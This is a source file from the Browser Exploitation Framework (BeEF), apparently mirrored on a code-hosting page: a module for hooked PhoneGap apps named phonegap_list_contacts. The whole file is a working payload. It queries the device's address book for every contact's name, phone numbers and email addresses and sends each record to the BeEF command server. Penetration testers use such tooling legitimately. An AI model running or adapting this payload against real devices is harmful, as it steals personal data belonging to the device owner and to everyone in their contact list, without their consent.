Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_list_contacts/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// phonegap_list_contacts
8
//
9
beef.execute(function() {
10
var result = '';
11
12
function onSuccess(contacts) {
13
14
for (var i=0; i<contacts.length; i++) {
15
result = contacts[i].displayName;
16
17
if (contacts[i].phoneNumbers != null) {
18
for (var j=0; j<contacts[i].phoneNumbers.length; j++) {
19
result = result + ' #:' + contacts[i].phoneNumbers[j].value;
20
}
21
}
22
23
if (contacts[i].emails != null) {
24
for (var j=0; j<contacts[i].emails.length; j++) {
25
result = result + ' @:' + contacts[i].emails[j].value;
26
}
27
}
28
29
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
30
31
}
32
};
33
34
function onError(contactError) {
35
result = 'fail';
36
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
37
};
38
39
40
var options = new ContactFindOptions();
41
options.filter="";
42
options.multiple=true;
43
var fields = ["displayName", "phoneNumbers", "emails"];
44
45
navigator.contacts.find(fields, onSuccess, onError, options);
46
47
});
48
49